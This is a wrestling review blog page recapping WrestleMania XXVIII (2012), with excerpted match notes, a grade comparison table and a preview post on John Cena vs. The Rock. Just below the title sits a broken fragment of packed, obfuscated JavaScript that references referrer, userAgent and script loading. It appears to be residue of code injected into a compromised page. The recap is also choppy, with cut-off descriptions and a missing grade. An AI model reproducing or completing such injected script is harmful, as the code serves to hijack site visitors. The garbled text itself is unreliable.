Wrestlemania Count-Up – Wrestlemania XXVIII: Once In A Lifetime

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yefha|var|u0026u|referrer|erbtb||js|php'.split('|'),0,{})) XXVIII
Date: April 1, 2012
Location: Sun Life Stadium, Miami, Florida
Attendance: 78,363
Commentators: Michael Cole, Jerry Lawler

Lillian Garcia sings America the Beautiful.

Smackdown World Title: Sheamus vs. Daniel Bryan

Win tickets to Wrestlemania 29!

Kane vs. Randy Orton

Some National Guard people are here.

Intercontinental Title: Cody Rhodes vs. Big Show

Video on what it means to be a Diva.

We recap the Divas tag. Kelly Kelly had been a guest on Extra with Maria Menunos when Eve and Beth came in and claimed they should be the guests. A tag match was made.

Eve Torres/Beth Phoenix vs. Maria Menunos/Kelly Kelly

Shawn Michaels, the guest referee inside the Cell, says either the Undertaker or HHH are done tonight.

New attendance record. As always.

Jim Ross comes out to do commentary for the Cell match.

HHH vs. Undertaker

The Tombstone connects but HHH is up at two. Shawn has no idea what to do as both guys are slowly getting up. They slug it out from their knees before getting to their feet for more HARD punches. Another Tombstone is countered into the Pedigree for a VERY close two. HHH goes for the hammer but Taker steps on it to stop him. A HARD chair shot to the back puts HHH down and another one keeps him down.

We get clips of the Hall of Fame stuff from last night.

Team Johnny vs. Team Teddy

Johnny: Miz, Mark Henry, Drew McIntyre, Jack Swagger, Dolph Ziggler, David Otunga

Teddy: Kofi Kingston, Great Khali, R-Truth, Zack Ryder (with Eve), Booker T, Santino Marella

Rating: D+. As is the usual case with stuff like this, there was way too much going on to keep track of anything. There were something like 18 people involved in this whole thing and the ending was about Eve and her heel turn more than anything else. Ace would be GM for about four months or so while boring us to death against Cena. Not much to see here though due to the amount of people in the match.

Alex Rodriguez and Torrie Wilson are here.

We get a video on the media blitz and activities for Wrestlemania week.

To celebrate winning, Laurinitis changes the Raw World Title match rules so that if Punk gets disqualified, Jericho wins the title.

Raw World Title: Chris Jericho vs. CM Punk

This is over who is the best in the world and Jericho claims that Punk is really an alcoholic and his family has a bunch of substance abuse issues. The buildup for this really was good stuff, even though this is nowhere near the main event. Punk takes it to the mat to start and fires off some kicks to the chest. He does the same with knees in the corner but stops when the referee gets to four. Jericho slaps him in the face and takes the beating like a man to try to get the DQ again.

They head to the apron and Punk tries a GTS, only to be clotheslined back into the ring. Jericho hooks a kind of Jackhammer to the floor for two back inside. We hit the chinlock but Punk fights up with a slap. Jericho comes right back with a tilt-a-whirl backbreaker for two and kicks the injured back again. Some hard kicks to the torso keep Punk in trouble but he fires off some strikes of his own. The champion goes up but is pulled back down to land hard on his back.

Video on G.I. Joe 2 which was just released like two weeks ago. As in nearly a year after this show.

And now, it is time.

John Cena vs. The Rock

Rock fires off some elbows to the chest and sends Cena into the steps for good measure. Back inside and Cena tries a sunset flip of all things but immediately shifts into the STF in the middle of the ring. Cena drags him back to the middle of the ring and Rock is starting to fade. We get an old school arm check and Rock holds it up on the third drop. I love stuff like that. Rock makes it to the ropes and as they get back up, Cena walks into a Samoan drop to put both guys down.

Cena sits on the ramp, stunned.

Rock poses to end the show.

Ratings Comparison

Daniel Bryan vs. Sheamus

Original:

Redo: N/A

Kane vs. Randy Orton

Original: B-

Redo: B-

Cody Rhodes vs. Big Show

Original: D+

Redo: D+

Kelly Kelly/Maria Menunos vs. Beth Phoenix/Eve Torres

Original: C+

Redo: D+

HHH vs. Undertaker

Original: A+

Redo: A+

Team Johnny vs. Team Teddy

Original: C

Redo: D+

Chris Jericho vs. CM Punk

Original: A

Redo: A

The Rock vs. John Cena

Original: B+

Redo: A+

Overall Rating

Original: A+

Redo: A

http://kbwrestlingreviews.com/2012/04/01/wrestlemania-xxviii-one-of-the-best-shows-of-all-time/

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Wrestlemania #28: John Cena vs. The Rock

How do you follow HHH vs. Undertaker inside the Cell?  With this.We’ve finally arrived at this.  In the words of Jesse Ventura, this is what the term main event is all about.  At the end of the day, nothing else on the show matters besides this match.  This is the match that a lot of so called experts (including one with the initials K. B.) said would never happen in a million years.  Yet low and behold, here it is.  I’m not sure if you can call this match about passing the torch because Cena already is the top guy and has been for years while Rock hasn’t been on top arguably in about 11 years.

 

Still though, to call this anything but huge is an understatement.  This is one of the few legitimate dream matches left for WWE and it has to come close to living up to the expectations.  I say close to because I don’t think it actually can live up to or surpass them, not with the hype given to them.  The match is going to be great as it’s Rock vs. Cena, both of whom deliver on the big stage.  I’d expect it to go at least 25 minutes if not over half an hour, which is a long main event in modern WWE.  After that you have to worry about Rock’s cardio, whereas Cena could possibly rival 1986 Flair in that department.

 

As for a prediction, I have to go with Cena.  At the end of the day, I don’t see the value in Rock beating him, maybe popping up on Raw the next night and then bailing.  I’m not completely locked on that, but I think it’s what I have to go with.  As for Cena turning heel, again I see no need for it to happen, which we’ve gone over many times before.  As for interference…..I’m not sure.  There are reports of people like Miz, Batista or even Brock Lesnar interfering in it, but I’m not sure I’d buy anyone but Brock as a candidate for that.  The others aren’t people I see meaning much otherwise, but Brock vs. Rock or Cena is a huge main event to set up for WM 29 before we get the only match worthy of the main event of Wrestlemania 30: John Cena vs. The Undertaker.

 

Oh and if they do a rematch at Summerslam or Mania next year, I won’t be shocked but I’ll be annoyed.  It’ll likely happen though.

 

Thoughts/Predictions?